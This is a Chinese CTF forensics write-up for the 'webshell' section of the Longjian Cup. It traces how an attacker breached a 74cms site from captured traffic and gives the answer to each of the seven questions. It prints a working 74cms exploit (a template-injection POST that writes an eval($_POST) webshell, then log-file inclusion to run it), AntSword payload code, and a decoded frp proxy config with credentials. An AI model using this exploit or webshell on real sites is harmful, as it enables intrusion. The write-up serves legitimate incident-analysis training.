题目描述

单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:

 

3.1   黑客登录系统使用的密码是_____________。

wp:登录系统一般是使用的是post表单的方式,使用显示过滤器过滤post

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_php

 第一个包就是提交的密码

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_html_02

或者直接搜索 password

wp:

Admin123!@#

 

3.2  黑客修改了一个日志文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

 wp:

绝对路径的话有两个部分组成,一个是网站根目录,另一个是相对路径

导出HTTP对象,一个个找,在index(34).php%3fm=home&a=assign_resume_tpl文件中发现了含有phpinfo()页面的东西

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_php_03

将其后缀变更为.html用浏览器打开,先查找网站根路径为/var/www/html

 

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_php_04

在PHP变量中查找.log后缀的日志文件,路径为data/Runtime/Logs/Home/21_08_07.log,两个拼起来就是答案

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_php_05

 

 

 

 3.3  黑客获取webshell之后,权限是______?

 wp:

说到权限,黑客可能会执行whoami命令,我们全局搜索whoami

找到第317号数据请求包中包含 whoami命令,第319号响应包中包含结果

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_html_06

 

flag:

www-data

 

 

 3.4  黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

wp:

我们导出所有的http对象,分析后得知 1.php文件就是黑客挂的木马

flag:

1.php

 

3.5  黑客上传的代理工具客户端名字是_____________。(如有字母请全部使用小写)

wp:

我们导出所有的http对象,分析后得知 1.php文件就是黑客挂的木马, 1(51).php就是查看上传后的木马文件目录,

 

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_php_07

 frpc就是袋里客户端

flag:

frpc

 

3.6  黑客代理工具的回连服务端IP是_____________。

wp:

我们导出所有的http对象,分析后得知 1.php文件就是黑客挂的木马, 1(6).php就是上传的袋里配置文件

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_php_08

 

 

该流量特征是蚁剑的数据流,数据放在hex中

5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A

用hex-》ascii解码后

[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

flag:

192.168.239.123

 

3.7  黑客的socks5的连接账号、密码是______。(中间使用#号隔开,例如admin#passwd)

wp:

在上个题目中已经解出,

plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp

flag:

0HDFt16cLQJ#JTN276Gp

 

 

 

 

题目打完了,但是黑客到底是如何getshell的还是不清楚。我们继续分析。该网站使用了骑士cms系统,网络搜索后发现该系统存在模板注入和 文件包含l漏洞,联合起来就能达到getshell

参考链接  

注入点

  1、注入模板

发送poc:
        http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
        POST:
        variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

 

2、文件包含

发送poc:
        http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
        POST:
        variable=1&tpl=data/Runtime/Logs/Home/20_12_15.log(日志文件名为日期)

 

 知道了注入点,我们在数据包中搜索 assign_resume_tpl

 

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_php_09

315号包就是模板注入,317就是文件包含,黑客注入了一句话木马。

命令执行成功后会在下一个数据包的下图未知显示结果,whoami执行后返回www-data

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_php_10

在332号将一句话木马写入1.php文件中,如下图所示

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_php_11

 然后利用木马文件,使用蚁剑客户端连接了服务器的漏洞,打开第337号包,蚁剑在连接传输的php代码片段就是蚁剑的特征,

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_html_12

 

 具体如下

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "bc"."0f2";
	echo @asenc($output);
	echo "f797e"."322e0";
}
ob_start();
try {
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";
	if(substr($D,0,1)!="/") {
		foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
	} else {
		$R.="/";
	}
	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

 

第343号包中的内容

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "28"."f72";
	echo @asenc($output);
	echo "f486"."11f4";
}
ob_start();
try {
	$f=base64_decode(substr($_POST["j68071301598f"],2)); #post提交的j68071301598f的内容,也就是文件路径+名称,去掉前两位在base64解码,得到/var/www/html/frpc.ini,这里为什么要去除前两个字符,原因是防止base64解码,达到免杀或者混淆的目的
	$c=$_POST["xa5d606e67883a"]; ##post提交的j68071301598f的内容,也就是文件内容。
	$c=str_replace("\r","",$c); #/r替换为空
	$c=str_replace("\n","",$c);#/n替换为空
	$buf="";
	for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));#每两个字符去除两个
	echo(@fwrite(fopen($f,"a"),$buf)?"1":"0"); #从buf写到/var/www/html/frpc.ini
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();



Form item: "j68071301598f" = "FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ=="
Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A7479706520

目的就是往/var/www/html/frpc.ini写文件

 按照相同方法解码之后的数据包 

分析得到 之后使用蚁剑上传两个文件,frpc和frpc.ini,这两个文件都是内网穿透工具

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_上传_13

 最终文件有如图下所示

全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)_php_14

 

我们在总结一下

黑客使用密码登录了骑士cms系统到后台,利用模板注入和文件包含获取到了webshell,利用蚁剑连接webshell上传了两个袋里文件